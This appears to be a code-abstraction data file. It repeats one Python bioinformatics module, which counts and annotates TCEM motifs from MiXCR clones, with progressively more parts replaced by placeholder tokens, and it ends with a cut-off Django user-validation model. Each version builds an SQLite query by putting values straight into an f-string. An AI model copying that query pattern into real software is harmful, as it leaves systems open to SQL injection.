kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n\n def requires(self):\n return self.mixcr\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [MixcrClones]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n <function token>\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n\n def output(self):\n out = {'tcem_counts': self.get_target(f'tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n\n @classmethod\n def version(cls):\n return 'v0.1.1'\n\n def tool_version(self):\n return self.version()\n <function token>\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n <function token>\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def tool_version(self):\n return self.version()\n <function token>\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n <function token>\n\n @property\n def tcem_counts_path(self):\n return self.output()[f'tcem_counts'].path\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def tool_version(self):\n return self.version()\n <function token>\n\n @classmethod\n def _module_name(cls):\n return 'tcems::tcem_repertoire'\n <function token>\n <function token>\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def tool_version(self):\n return self.version()\n <function token>\n <function token>\n <function token>\n <function token>\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def _run(self):\n motif_counts = parse_mixcr_table(self.mixcr.igh_path)\n out = pd.DataFrame.from_dict(motif_counts, orient='index')\n out.to_csv(self.tcem_counts_path)\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n\n\nclass TcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n module_description = \"\"\"\n This module identifies repertoires of TCEMs in VDJ clonal sequences.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n\n @classmethod\n def version(cls):\n return 'v0.1.0'\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n <function token>\n\n def tool_version(self):\n return self.version()\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n <function token>\n <function token>\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n\n @property\n def tcem_annotation_path(self):\n return self.output()[f'tcem_annotations'].path\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n\n def requires(self):\n return self.repetoire\n <function token>\n <function token>\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n <function token>\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n <function token>\n <function token>\n <function token>\n\n @classmethod\n def dependencies(cls):\n return [TcemRepertoire]\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n <function token>\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n <function token>\n <function token>\n <function token>\n <function token>\n\n @classmethod\n def _module_name(cls):\n return 'tcems::annotated_tcem_repertoire'\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n <function token>\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n <function token>\n\n def _run(self):\n with sqlite3.connect(self.db.tcem_index) as conn:\n c = conn.cursor()\n rep = pd.read_csv(self.repetoire.tcem_counts_path)\n kmers = rep.iloc[:, 1].unique()\n tbl = {}\n for kmer in kmers:\n tbl[kmer] = {}\n cmd = f'SELECT taxon FROM taxa_kmers WHERE kmer = \"{kmer}\"'\n for taxon in c.execute(cmd):\n tbl[kmer][taxon] = 1\n tbl = pd.DataFrame.from_dict(tbl, orient='index')\n tbl.to_csv(self.tcem_annotation_path)\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repetoire = TcemRepertoire.from_cap_task(self)\n self.db = TcemNrAaDb.from_cap_task(self)\n self.config = PipelineConfig(self.config_filename)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def output(self):\n out = {'tcem_annotations': self.get_target(\n f'annotated_tcem_repertoire', 'csv')}\n return out\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass AnnotatedTcemRepertoire(CapTask):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n" ]

[ "from __future__ import unicode_literals\nfrom django.db import models\nimport datetime as dt\nimport re\nEMAIL_REGEX = re.compile(r'^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9._-]+\\.[a-zA-Z]+$')\n\n\n\nclass UserManager(models.Manager):\n def basic_validator(self, postData):\n errors = {}\n if len(postData['firstname']) < 3:\n errors[\"firstname\"] = \"First name should be longer than 2 characters!\"\n print \"There is an error\"\n if len(postData['username']) < 3:\n errors[\"username\"] = \"First name should be longer than 2 characters!\"\n print \"There is an error\"\n if not EMAIL_REGEX.match(postData['email']):\n errors['email'] = \"Email does not match the correct format\"\n print \"There is an error\"\n if len(postData['password']) < 8:\n errors[\"password\"] = \"Password must be 8 characters\"\n print \"There is an error\"\n if (postData['confirmation'] != postData['password']):\n errors[\"confirmation\"] = \"Passwords do not match\"\n print \"There is an error\"\n return errors\n\n\nclass User(models.Model):\n firstname = models.CharField(max_length = 255)\n username = models.CharField(max_length = 255)\n password = models.CharField(max_length = 255)\n email = models.CharField(max_length = 255)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n objects = 